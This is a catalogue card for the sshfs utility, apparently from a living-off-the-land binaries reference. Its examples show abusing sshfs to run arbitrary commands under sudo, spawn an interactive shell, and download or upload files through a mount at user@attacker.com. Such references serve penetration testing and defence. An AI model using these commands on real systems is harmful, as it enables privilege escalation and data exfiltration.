network enabled community medium v1.0.0

sshfs

Mount remote filesystems over SSH; can read, write, and manage remote files.

📋 Live Preview
sshfs
sshfs

Sandbox: execFile · Timeout: 30s

Capabilities

security.execution.command
network.transfer.download
security.privilege-escalation.shell
network.transfer.upload

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networknone
Disk I/Olow

Examples

Execute arbitrary commands (sudo, unprivileged)

sshfs -o ssh_command=/path/to/command x: /path/to/dir/

Download files (unprivileged)

sshfs user@attacker.com:/ /path/to/dir/
cp /path/to/dir/path/to/input-file /path/to/output-file

Spawn an interactive shell (sudo, unprivileged)

echo -e '/bin/sh </dev/tty >/dev/tty 2>/dev/tty' >/path/to/temp-file
chmod +x /path/to/temp-file
sshfs -o ssh_command=/path/to/temp-file x: /path/to/dir/

Upload files (unprivileged)

sshfs user@attacker.com:/ /path/to/dir/
cp /path/to/input-file /path/to/dir/

Documentation

sshfs

sshfs is a command-line utility. Mount remote filesystem over SSH; can also execute arbitrary commands, download files, spawn an interactive shell, upload files.

References